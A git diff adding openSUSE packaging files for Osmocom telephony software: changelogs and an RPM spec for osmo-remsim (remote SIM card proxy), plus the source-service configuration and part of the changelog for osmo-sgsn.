+ * remsim_client: Process SetAtrReq() and set ATR in SIMtrace2 firmware
+ * bankd: Move all PC/SC specific code to bankd_pcsc
+ * bankd_main: Obtain ATR of card via PC/SC API
+
+-------------------------------------------------------------------
+Thu Mar 28 21:04:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1553723890.e57334e:
+ * rspro_client_fsm: Use osmocom logging API instead of direct printf
+ * remsim_client: Use osmocom logging instead of printf
+ * bankd_main: Add more logging in error situations
+ * bankd_main: don't use fprintf if we can use osmocom logging API
+ * bankd: Verify bankd/client slot in tpduModemToCard rx handler
+
+-------------------------------------------------------------------
+Sun Mar 17 21:04:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1552852910.4e7a285:
+ * rspro_client_fsm: Disconnect if Connect{Client,Bank}Res != ok
+ * client, bankd: Add SIGUSR1 handling for talloc context debugging
+ * bankd_client_fsm: Fix ESTABLISH signal handling
+ * client: Don't ntohs() integer values from asn1 decoder
+ * remsim_client: Store and use BankSlot received in ConfigClientBankReq
+ * Move client/bank slot conversion functions to rspro_util.c
+ * RSPRO: split ConfigClient into ConfigClientId and ConfigClientBank
+
+-------------------------------------------------------------------
+Mon Mar 11 21:04:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1552325953.19f881a:
+ * bankd: respond to IPA PING from client with IPA PONG
+ * bankd: Disconnect client if we enter state BW_ST_CONN_CLIENT_UNMAPPED
+ * bankd: Implement thread-safe SIGUSR1 talloc context reporting
+ * bandk: store the worker name as part of 'struct bankd_worker'
+ * bankd: terminate bankd connection once map is deleted
+ * bankd: Return ConnectClientRes in error paths of worker_handle_connectClientReq
+
+-------------------------------------------------------------------
+Sat Mar 09 21:04:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1552164548.942f1ff:
+ * bankd: Actually send the RemoveMappingRes we prepare
+ * rspro_client_fsm: Ensure close + reconnect on missing Connect*Res from server
+ * bankd: Don't use hard-coded slotmaps but receive them from remsim-server
+ * bankd: Don't create 10 workers, but 'num_slots' workers
+ * bankd_main: Introduce g_bankd global variable
+ * rspro_util: Add rspro_msgt_name() to get RSPRO message type name + use it
+ * Add asn1c_helpers.c file to get type/enum/choice names for printing
+ * RSPRO: Add ErrorInd
+ * RSPRO: Add two more ResoltCodes
+ * Introduce {server,bankd}_conn_send_rspro()
+ * add missing copyright / license headers everywhere
+ * naming: Distinguish "rspro client" from "remsim client"
+ * Split "RSPRO client FSM" from "BANKD client FSM"
+ * remsim-client: Add command-line options for server ip/port and client id/slot
+ * client: move ClientSlot from bankd_conn to srv_conn
+ * client: Early call to osmo_init_logging2()
+ * client: Add IPA Keepalive handling
+ * client: Restructure {srvc,bankd}_read_cb()
+ * remsim-server: Add support for keepalive
+ * slotmap: restructure read_cb()
+ * client slot
+ * Initial version of remsim-server
+
+-------------------------------------------------------------------
+Fri Mar 08 21:04:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1551989732.648f4e3:
+ * slotmap: Introduce slotmap_{rd,wr,un}lock() wrappers for lock debugging
+ * slotmap: Log file/line when changing state
+
+-------------------------------------------------------------------
+Thu Mar 07 21:03:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1551949766.294298c:
+ * slotmap: Add _slotmap_del() for callers that already have a lock
+ * slotmap: Add slotmap_get_id() function to get numeric ID of slot map
+ * slotmap: Add "DELETE_REQ" state
+ * slotmap: Return newly-created map from slotmap_add()
+ * slotmap: Introduce the concept of a slotmap state
+ * slotmap: Introduce slotmap-printing function and use it
+ * generalize slotmap to make use of it outside of bankd
+ * share debug.[ch] across all executables
+ * client: Connect to server before connecting to bankd
+ * rspro_util: Add rspro_IpAddr2str() to get stringified version of IpAddr_t
+ * rspro_util: Add rspro_comp_id_retrieve()
+ * respro_util: Add rspro_gen_ConfigClientRes() function
+ * move osmo_fsm_register() into constructor function
+
+-------------------------------------------------------------------
+Mon Mar 04 21:03:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1551526962.3ac66a1:
+ * Add dotty graphs on osmo-remsim to 'doc' subdirectory
+ * update .gitignore to include .libs and executable names
+ * add rspro_gen_{Remove,Create}Mapping{Req,Res}()
+ * rspro_util.c: Set pdu version to 2 for all generator functions
+ * rspro_server_conn: Add handle_rx() call-back
+
+-------------------------------------------------------------------
+Thu Feb 14 21:04:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1550167652.4248bec:
+ * Add git-review config
+
+-------------------------------------------------------------------
+Sun Nov 18 21:03:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1542059628.6f074b7:
+ * minor: show USB error message instead of number
+ * add ATR as command line argument
+
+-------------------------------------------------------------------
+Tue Oct 16 20:03:15 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1539626572.f120b64:
+ * remsim: fix TPDU response size transmission
+
+-------------------------------------------------------------------
+Mon Oct 15 20:03:20 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1539563240.c3632a7:
+ * rspro_gen_ConnectClientReq(): don't dereference optional 'client'
+ * server_conn_fsm_alloc(): add explicit talloc context argument
+ * move ipa_client_conn_send_rspro() into remsim_client_fsm.c
+ * move 'struct rspro_server_conn' to client.h
+ * move DMAIN definition to new debug.h
+ * configure.ac: Explicitly check for -lcsv and csv.h
+ * libusb_util.c: Avoid gcc warning about strncpy()
+ * contrib/jenkins.sh: Fix project name printed during build
+ * contrib/jenkins.sh: Ensure PKG_CONFIG_PATH is set before build
+ * contrib/jenkins.sh: Harmonize with other projects
+
+-------------------------------------------------------------------
+Sun Oct 14 20:03:13 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1539542965.c7b5c7a:
+ * Add contrib/jenkins.sh for build verification
+ * Fix compiler warning: no-return-in-nonvoid-function main.c
+
+-------------------------------------------------------------------
+Fri Oct 12 20:21:26 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1539349100.3428e41:
+ * add sim switch and modem reset for OWHW
+ * add client id and slot number as command line argument
+ * move main print output closer to main (minor)
+ * set client name (minor)
+ * remove duplicate print output (minor)
+ * indicate more clearly SIMtrace traffic in output log
+ * remove unused remote UDP variable
+ * add command line arguments to set bankd host and port
+ * minor: disable ASN1 debug
+ * send response APDU from bankd (card) to SIMtrace (modem)
+ * send correct APDU to bankd
+ * add missing library flags to compile simtrace2-remsim_client.c
+ * adapt remsim-client to use simtrace2 cardem
+ * add simtrace2 host libraries
+ * fix 'make distcheck' by adding missing client.h to noinst_HEADERS
+ * move ClientSlot_t from fsm to client
+ * ensure the local asn1c library is used
+ * ensure RsproPDU_t client and bank are not NULL
+ * bankd: Ignore IPA CCM and don't terminate if we receive it
+ * RSPRO.asn: Clarify use of optional ClientSlot in ConnectClientReq
+
+-------------------------------------------------------------------
+Thu Oct 04 18:48:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1538602461.43ab79f:
+ * remove libasn1c dependency and use asn1c without libasn1c
+ * bankd: Add FIXME to the main thread
+ * remove rspro_client.c which is not used anyway.
+ * bankd: Remove second \n after PC/SC OK statements
+ * bankd: more timeout/retry handling, including resolving slotmap
+ * bankd: Implement re-opening/connecting to card/reader
+ * bankd_main: Set the pthread name for easier debugging
+ * bankd: Initialize logging early.
+
+-------------------------------------------------------------------
+Mon Sep 24 17:52:09 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1537803965.703d686:
+ * fix double-free of msgb
+ * correctly use asn1c API: PDU pointers must be NULL when calling decoder
+ * add ffasn1c example for RSPRO
+ * rspro_util: Add rspro_gen_ConnectClientRes() function
+ * rspro_util: More error messages
+ * bankd: Print error messages in more error cases during IPA read
+ * bankd: Add app_comp_id to use repro_util helpers
+ * client: Generate CLIENT_CONN_RES event to FSM on RSPR rx of ClientConnRes
+ * bankd: Handle errors during PC/SC open/connect
+ * use msb->l2h as pointer to the RSPRO part inside msgb
+ * RSPRO: don't use "default 1" for protocol version
+ * remsim_client_fsm: Handle re-connect timeout and initial connection failure
+ * bankd: Add hack for hard-coded slotmap
+ * bankd: Add code to handle TPDUs in rx and tx direction
+ * bankd_main: Missing state transition to BW_ST_CONN_CLIENT_MAPPED_CARD
+ * bankd_main: Fix SCardConnect(): Needs dwActiveProtocol output param
+ * bankd_pcsc: Add CSV based mapping of bank-id/slot-nr to PC/SC reader name
+ * bankd_slotmap: Fix debug statements
+ * rspro_util: Add functions to generate TDPU transfer messages
+ * More progress on code of the server_conn_fsm
+ * client: bankd_send_rspro -> ipa_client_conn_send_rspro
+ * client: Introduce FSMs for managing connections to server + bankd
+
+-------------------------------------------------------------------
+Sat Aug 18 17:28:57 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0.git1534536649.2ff0ab9
diff --git a/rpm-local/spec/osmo-remsim/osmo-remsim.spec b/rpm-local/spec/osmo-remsim/osmo-remsim.spec
new file mode 100644
index 0000000..84874bc
--- /dev/null
+++ b/rpm-local/spec/osmo-remsim/osmo-remsim.spec
@@ -0,0 +1,215 @@
+#
+# spec file for package osmo-remsim
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define sover 1
+Name: osmo-remsim
+Version: 0.2.2.86
+Release: 0
+Summary: Osmocom remote SIM software suite
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+URL: https://projects.osmocom.org/projects/osmo-remsim
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libcsv-devel
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libasn1c) >= 0.9.30
+BuildRequires: pkgconfig(libosmoabis)
+BuildRequires: pkgconfig(libosmocore) >= 0.11.0
+BuildRequires: pkgconfig(libosmogsm) >= 0.11.0
+BuildRequires: pkgconfig(libosmosim)
+BuildRequires: pkgconfig(libpcsclite)
+BuildRequires: pkgconfig(libulfius)
+BuildRequires: pkgconfig(libusb-1.0)
+BuildRequires: pkgconfig(libosmousb)
+BuildRequires: pkgconfig(libosmo-simtrace2)
+%{?systemd_ordering}
+
+%description
+osmo-remsim is a suite of software programs enabling physical/geographic
+separation of a cellular phone (or modem) on the one hand side and the
+SIM/USIM/ISIM card on the other side.
+
+Using osmo-remsim, you can operate an entire fleet of modems/phones, as
+well as banks of SIM cards and dynamically establish or remove the
+connections between modems/phones and cards.
+
+So in technical terms, it behaves like a proxy for the ISO 7816 smart
+card interface between the MS/UE and the UICC/SIM/USIM/ISIM.
+
+While originally designed to be used in context of cellular networks,
+there is nothing cellular specific in the system. It can therefore also
+be used with other systems that use contact based smart cards according
+to ISO 7816. Currently only the T=0 protocol with standard
+(non-extended) APDUs is supported. Both T=1 and extended APDU support
+can easily be added as a pure software update, should it be required at
+some future point.
+
+%package -n libosmo-rspro%{sover}
+Summary: Osmocom Remote SIM - Shared Library
+License: GPL-2.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-rspro%{sover}
+libosmo-rsrpo is an utility library for encoding/decoding the ASN.1 BER
+based RSPRO (Remote SIM Protocol) protocol used between the osmo-remsim
+programs.
+
+%package -n libosmo-rspro-devel
+Summary: Osmocom Remote SIM - Shared Library Development Haders
+License: GPL-2.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-rspro%{sover} = %{version}
+
+%description -n libosmo-rspro-devel
+libosmo-rsrpo is an utility library for encoding/decoding the ASN.1 BER
+based RSPRO (Remote SIM Protocol) protocol used between the osmo-remsim
+programs.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-rspro.
+
+%package -n osmo-remsim-server
+Summary: Osmocom Remote SIM - Central Server
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-remsim-server
+The remsim-server is the central element of a osmo-remsim deployment,
+it maintains a list of clients + bankds connected to it, as well as the
+dynamic SIM card mappings between them.
+
+%package -n osmo-remsim-bankd
+Summary: Osmocom Remote SIM - Bank Daemon
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-remsim-bankd
+The remsim-bankd is managing a bank of SIM card readers and their
+respective cards. It establishes a control connection to remsim-server
+and receives inbound connections from remsim-clients.
+
+%package -n osmo-remsim-client-st2
+Summary: Osmocom Remote SIM - Client for SIMtrace2
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-remsim-client-st2
+Description: Osmocom Remote SIM - Client for SIMtrace2 cardem firmware
+The remsim-client is managing a given phone/modem. It attaches to the
+'cardem' firmware of a SIMtrcace2 (or compatible, such as sysmoQMOD)
+hardware and forwards the SIM card communication to a remsim-bankd,
+under the control of remsim-server.
+
+%package -n osmo-remsim-client-shell
+Summary: Osmocom Remote SIM - Interactive Client
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+
+%description -n osmo-remsim-client-shell
+The remsim-client-shell is for manually interacting with a remote SIM
+card via remsim-bankd + remsim-server. It's mostly a test/debug tool.
+
+%package -n libifd-osmo-remsim-client0
+Summary: Osmocom Remote SIM Client - PC/SC driver
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Servers
+Requires: pcsc-lite
+
+%description -n libifd-osmo-remsim-client0
+This is an incarnation of osmo-remsim-client which can plug as ifd_handler
+driver into pcscd. This means you can use remote smart cards managed
+by osmo-remsim-server via normal PC/SC applications.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --disable-static \
+ --with-systemdsystemunitdir=%{_unitdir}
+make V=1 %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || find . -name testsuite.log -exec cat {} +
+
+%post -n libosmo-rspro%{sover} -p /sbin/ldconfig
+%postun -n libosmo-rspro%{sover} -p /sbin/ldconfig
+
+%pre -n osmo-remsim-bankd %service_add_pre osmo-remsim-bankd.service
+%post -n osmo-remsim-bankd %service_add_post osmo-remsim-bankd.service
+%preun -n osmo-remsim-bankd %service_del_preun osmo-remsim-bankd.service
+%postun -n osmo-remsim-bankd %service_del_postun osmo-remsim-bankd.service
+
+%pre -n osmo-remsim-client-st2 %service_add_pre osmo-remsim-client@.service
+%post -n osmo-remsim-client-st2 %service_add_post osmo-remsim-client@.service
+%preun -n osmo-remsim-client-st2 %service_del_preun osmo-remsim-client@.service
+%postun -n osmo-remsim-client-st2 %service_del_postun osmo-remsim-client@.service
+
+%pre -n osmo-remsim-server %service_add_pre osmo-remsim-server.service
+%post -n osmo-remsim-server %service_add_post osmo-remsim-server.service
+%preun -n osmo-remsim-server %service_del_preun osmo-remsim-server.service
+%postun -n osmo-remsim-server %service_del_postun osmo-remsim-server.service
+
+%files -n libosmo-rspro%{sover}
+%license COPYING
+%doc README.md
+%{_libdir}/libosmo-rspro.so.%{sover}*
+
+%files -n libosmo-rspro-devel
+%{_includedir}/osmocom
+%dir %{_includedir}/osmocom/rspro
+%{_includedir}/osmocom/rspro/rspro_client.h
+%{_libdir}/libosmo-rspro.so
+%{_libdir}/pkgconfig/libosmo-rspro.pc
+
+%files -n osmo-remsim-server
+%{_bindir}/osmo-remsim-server
+%{_unitdir}/osmo-remsim-server.service
+
+%files -n osmo-remsim-bankd
+%{_bindir}/osmo-remsim-bankd
+%{_unitdir}/osmo-remsim-bankd.service
+%config %{_sysconfdir}/default/osmo-remsim-bankd
+
+%files -n osmo-remsim-client-shell
+%{_bindir}/osmo-remsim-client-shell
+
+%files -n osmo-remsim-client-st2
+%{_bindir}/osmo-remsim-client-st2
+%{_unitdir}/osmo-remsim-client*
+%config %{_sysconfdir}/default/osmo-remsim-client*
+
+%files -n libifd-osmo-remsim-client0
+%dir %{_libdir}/readers/
+%dir %{_libdir}/readers/libifd-osmo-remsim-client.bundle
+%dir %{_libdir}/readers/libifd-osmo-remsim-client.bundle/Contents
+%{_libdir}/readers/libifd-osmo-remsim-client.bundle/Contents/PkgInfo
+%dir %{_libdir}/readers/libifd-osmo-remsim-client.bundle/Contents/Linux
+%{_libdir}/readers/libifd-osmo-remsim-client.bundle/Contents/Linux/libifd_remsim_client.so*
+%config %{_sysconfdir}/reader.conf.d/osmo-remsim-client-reader_conf
+
+%changelog
diff --git a/rpm-local/spec/osmo-sgsn/_service b/rpm-local/spec/osmo-sgsn/_service
new file mode 100644
index 0000000..f3d273c
--- /dev/null
+++ b/rpm-local/spec/osmo-sgsn/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-sgsn</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-sgsn/_servicedata b/rpm-local/spec/osmo-sgsn/_servicedata
new file mode 100644
index 0000000..878ce1e
--- /dev/null
+++ b/rpm-local/spec/osmo-sgsn/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-sgsn</param>
+ <param name="changesrevision">9d550cb36972173fadaaa1e1c8f3d4428106079e</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-sgsn/osmo-sgsn.changes b/rpm-local/spec/osmo-sgsn/osmo-sgsn.changes
new file mode 100644
index 0000000..f9539bf
--- /dev/null
+++ b/rpm-local/spec/osmo-sgsn/osmo-sgsn.changes
@@ -0,0 +1,872 @@
+-------------------------------------------------------------------
+Mon Apr 20 20:02:00 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.6:
+ * gtphub_test: Fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:01:59 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.5:
+ * configure.ac: fix libtool issue with clang and sanitizer
+ * tests: dlopen does not imply availability of dlsym..
+
+-------------------------------------------------------------------
+Wed Apr 01 20:02:00 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.3:
+ * manual: explain IuPS, add SCCP/M3UA section from common chapters
+
+-------------------------------------------------------------------
+Thu Feb 06 21:02:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.2:
+ * gprs_gmm_fsm.c: Implement RAT change between 2g and 3g
+ * gprs_gmm: Check for RAT change and ensure this only happens for RAU/ATT
+
+-------------------------------------------------------------------
+Fri Jan 03 21:04:29 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.0:
+ * Bump version: 1.5.0.91-5997-dirty → 1.6.0
+
+-------------------------------------------------------------------
+Thu Dec 12 21:02:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.91:
+ * osmoappdesc.py, tests: switch to python 3
+
+-------------------------------------------------------------------
+Wed Dec 04 21:01:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.90:
+ * exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Tue Dec 03 21:01:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.89:
+ * regen_doc.sh: support gbproxy, run without docker
+ * doc: add OsmoGbProxy VTY reference
+ * gitignore: fix paths to binaries
+
+-------------------------------------------------------------------
+Sun Dec 01 21:03:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.86:
+ * manual: Fix copy+paste error
+ * check for osmo_ss7_init() error return value
+ * check for osmo_fsm_register() error return values
+ * Initial OsmoGbPROXY user manual
+
+-------------------------------------------------------------------
+Sat Nov 30 21:06:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.82:
+ * LLC: Don't use hard-coded N201-U / N201-I values in XID
+
+-------------------------------------------------------------------
+Sat Nov 23 21:03:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.81:
+ * Use libosmocore constant for IMSI length in ACL entry
+ * gprs_gmm.c: Send XID reset with received TLLI
+ * gprs_llc.c: Use enum instead of hardcoded value
+ * Improve logging in gprs_llc.c code
+
+-------------------------------------------------------------------
+Sat Nov 16 21:01:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.77:
+ * gmm: Fix assertion hit during RA UPD REQ before completting gmm attach
+
+-------------------------------------------------------------------
+Mon Oct 21 20:01:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.76:
+ * sgsn_libgtp.c: Drop use of deprecated libgtp APIs gtp_retrans*()
+
+-------------------------------------------------------------------
+Sat Oct 19 20:01:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.75:
+ * sgsn: Gb: implementing PS Paging when MS is MM_STANDBY
+
+-------------------------------------------------------------------
+Thu Oct 17 20:01:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.74:
+ * sgsn_libgtp: refactor ps paging into gprs_gb
+
+-------------------------------------------------------------------
+Thu Oct 10 20:01:29 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.73:
+ * gprs_mm_state_iu_fsm.c: fix: assign timer_cb to mm_state_iu_fsm
+ * sgsn_mm_ctx_alloc(): check for unallocated fsms
+ * gprs_gmm: release Iu connection on RAU failures
+ * ranap: add non-spec X1001
+
+-------------------------------------------------------------------
+Tue Oct 08 20:05:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.69:
+ * sgsn: MM Gb Fsm: fix event handling for implicit detach
+ * gprs_sgsn: always allocate Gb/Iu mm fsm
+ * gprs_ranap: add missing rc = 0
+ * gprs_mm_state_gb_fsm: ensure T3350 is not running when entering IDLE
+ * gprs_ranap: on Iu release, stop the attach fsm if running
+ * Iu: implement a user inactivity timer
+ * gprs_ranap: release Iu UE Context when exiting PMM Connected
+
+-------------------------------------------------------------------
+Thu Oct 03 20:01:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.62:
+ * Avoid compiling unneeded files when building without Iu
+
+-------------------------------------------------------------------
+Sat Sep 28 20:02:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.61:
+ * sgsn: when receiving data PDU notify the Gb GMM fsm
+
+-------------------------------------------------------------------
+Fri Sep 20 20:02:06 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.60:
+ * Introduce TODO-RELEASE file
+
+-------------------------------------------------------------------
+Fri Sep 13 20:01:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.59:
+ * gprs_ranap: refactor REQUIRE_MM define
+ * mm_gb_fsm: unassign the llme when entering MM_IDLE
+ * gprs_ranap: send CommonId after receiving Security Mode Complete
+ * sgsn_pdp_ctx_terminate: check llme before accessing
+
+-------------------------------------------------------------------
+Mon Sep 09 20:01:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.55:
+ * sgsn: Reject PdpActReq if no GTP pdp ctx exists
+
+-------------------------------------------------------------------
+Fri Sep 06 20:01:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.54:
+ * Split out GPRS SM layer into its own file
+ * Implement GMM State using osmocom FSM
+ * enum gprs_gmm_state: Fix spec reference
+ * gmm: Move code handling GMM PTMSI Realloc Complete to its own function
+ * gmm: Move code handling GMM Routing Area Update Complete to its own function
+ * gmm: Move code handling GMM Attach Complete to its own function
+ * Move out sgsn to its own subdir
+ * Move out gtphub to its own subdir
+ * Move out gbproxy to its own subdir
+ * src/gprs/Makefile.am: Move build of shared .c files to an internal lib
+ * vty: Print MM state and RAN type in show mm-context
+ * Introduce FSM mm_state_iu_fsm
+ * Introduce FSM mm_state_gb_fsm
+
+-------------------------------------------------------------------
+Mon Sep 02 20:03:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.41:
+ * sgsn_vty: Print correct Iu mmctx id in 'show mm-context'
+ * sgsn_vty: Fix mmctx rate_ctr output indentation
+ * sgsn_cdr.c: Fix ip addr string buffer size
+ * gprs_gmm.c: Replace inet_ntoa with inet_ntop
+ * Merge common allocation steps for Gb and Iu ctx
+ * Split enum gprs_pmm_state into Iu and Gb counterparts
+ * Move llc->MM/SM Gb specific glue code to its own file
+ * Move lots of Iu/ranap specific code into its own file
+ * sgsn: gtp: Drop related pdp contexts on echo timeout against GGSN
+ * Introduce log helper LOGGGSN and log category DGTP
+ * gprs_gmm: gsm48_rx_gmm_att_req(): refactor duplicated code
+ * gprs_gmm: clarify comment of Iu follow-on request
+ * gprs_gmm: only update gb/iu cell information when Iu/Gb present
+
+-------------------------------------------------------------------
+Fri Aug 30 20:08:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.28:
+ * gtp: cb_delete_context(): Clarify why pdp->lib is set to NULL
+ * gtp: make echo_interval unsigned
+
+-------------------------------------------------------------------
+Fri Aug 23 20:03:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.26:
+ * gprs_gmm.c: Add spec document to function documentation
+ * gprs_gmm.c: Print value_string of reject cause
+
+-------------------------------------------------------------------
+Wed Aug 21 20:11:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.24:
+ * vty: Introduce cs7-instance-iu
+ * examples: Add osmo-sgsn_custom-sccp.cfg
+ * gprs_gmm.c: Use osmo_rai_name() in log line
+ * gprs/gprs_gmm: implement T3314. Timeout to reset MM state READY->STANDBY
+ * tests: Introduce vty-transcript-test tests
+ * Replace own timer infra with libosmocore osmo_tdef
+
+-------------------------------------------------------------------
+Tue Aug 20 20:02:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.18:
+ * tests: Verify that timers can be set over VTY
+ * gprs_gmm: Avoid spaces in fsm events and enum strings
+ * Introduce and use log macros when no mm ctx available
+ * gprs_gmm.c: Call mmctx_set_(p)mm_state only on related ran_type
+
+-------------------------------------------------------------------
+Mon Aug 19 20:08:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.14:
+ * gprs_gmm.c: Fix typo in log message
+ * sgsn: use sccp_simple_client API to setup ss7 id 0 instead of 1
+
+-------------------------------------------------------------------
+Sat Aug 17 20:04:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.12:
+ * gprs_gmm.c: Flag mmctx_set_(p)mm_state() functions static
+ * gprs_sgsn.h: Flag MM_CTX_T_GERAN_Iu as not supported
+ * gprs_gmm.c: Use correct function to set MM_IDLE state during cleanup
+ * gprs_gmm: Introduce assert to guard against unexpected condition
+
+-------------------------------------------------------------------
+Wed Aug 14 20:16:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.8:
+ * gprs_sgsn.c: Remove recently introduced assert
+ * gprs_gmm: Clarify comment during TLLI assignment
+
+-------------------------------------------------------------------
+Tue Aug 13 20:02:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.6:
+ * gprs_sgsn.c: Warn upon llme free unexpected scenarios
+ * Introduce define TLLI_UNASSIGNED
+ * gprs_gmm.c: Drop unneeded brackets
+ * gprs_gmm.c: Improve doc on nullable parameters
+ * gprs_llc.h: Improve documentation of some structs
+ * gprs_gmm: Introduce macros to access msgb's associated IU UE ctx
+
+-------------------------------------------------------------------
+Thu Aug 08 21:55:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.0:
+ * Bump version: 1.4.1 → 1.5.0
+ * Require newer versions of dependencies
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * configuration.adoc: Add a section about encryption
+ * configuration.adoc: Small fixes
+ * osmo-gbproxy.cfg: fix conflict with osmo-sgsn.cfg
+
+-------------------------------------------------------------------
+Fri Jul 26 20:19:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.35:
+ * osmo-sgsn: Fix outdated information in usermanual
+ * Add/fix help string for version option
+
+-------------------------------------------------------------------
+Wed Jul 24 20:11:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.33:
+ * osmo-gtphub.cfg: fix conflict with osmo-sgsn.cfg
+ * manuals: Update vty/counter documentation
+
+-------------------------------------------------------------------
+Mon Jul 22 20:02:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.31:
+ * turn -Werror=null-dereference into a warning
+
+-------------------------------------------------------------------
+Mon Jul 22 10:29:26 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation of the tests
+ See: https://osmocom.org/issues/4116
+
+-------------------------------------------------------------------
+Thu Jul 18 20:05:15 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.30:
+ * sgsn_mm_ctx_find_ggsn_ctx(): fix: always set gsm_cause
+
+-------------------------------------------------------------------
+Wed Jul 17 19:04:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.29:
+ * Spelling fixes
+
+-------------------------------------------------------------------
+Thu Jul 11 20:11:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.28:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Wed Jun 19 20:15:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.27:
+ * manuals: Add script to regenerate vty/counter documentation
+
